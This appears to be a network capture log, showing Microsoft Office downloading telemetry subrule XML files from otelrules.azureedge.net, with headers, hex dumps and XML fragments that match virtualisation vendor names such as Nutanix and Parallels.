2024-11-21 06:10:23 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061023Z-178bfbc474bwlrhlhC1NYCy3kg000000014g000000003b6w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:23 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061023Z-1777c6cb754lv4cqhC1TEB13us0000000ar000000000618v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:23 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 906eedcd-201e-0071-4861-3bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061023Z-178bfbc474btrnf9hC1NYCb80g000000018g000000005w89 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:24 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 5304f1e1-001e-005a-6c6b-3bc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061025Z-178bfbc474bw8bwphC1NYC38b400000001000000000012re x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:25 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:25 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: c2563176-701e-001e-70d5-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061025Z-178bfbc474b9xljthC1NYCtw940000000100000000008q4d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:25 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:25 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: c2cadd2f-601e-0001-2bab-3bfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061025Z-r1d97b9957747b9jhC1TEBgyec0000000a600000000009dp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:25 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:25 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:25 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061025Z-178bfbc474btvfdfhC1NYCa2en000000017g000000001ntd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:25 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:25 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:25 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 137cb315-101e-0017-3264-3b47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061025Z-178bfbc474bmqmgjhC1NYCy16c000000017g000000001ysu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:26 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:27 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 2deeee2f-b01e-001e-4967-3b0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061027Z-178bfbc474b7cbwqhC1NYC8z4n00000000vg00000000q2sr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:27 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:27 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:27 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061027Z-178bfbc474bnwsh4hC1NYC2ubs000000013000000000fkxx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:27 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:27 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061027Z-178bfbc474btrnf9hC1NYCb80g000000016g00000000capm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:27 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:28 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:27 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 164a21a0-201e-00aa-18b8-3b3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061027Z-r1d97b99577brct2hC1TEBambg00000003h000000000mkgd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49809	13.107.246.45	443

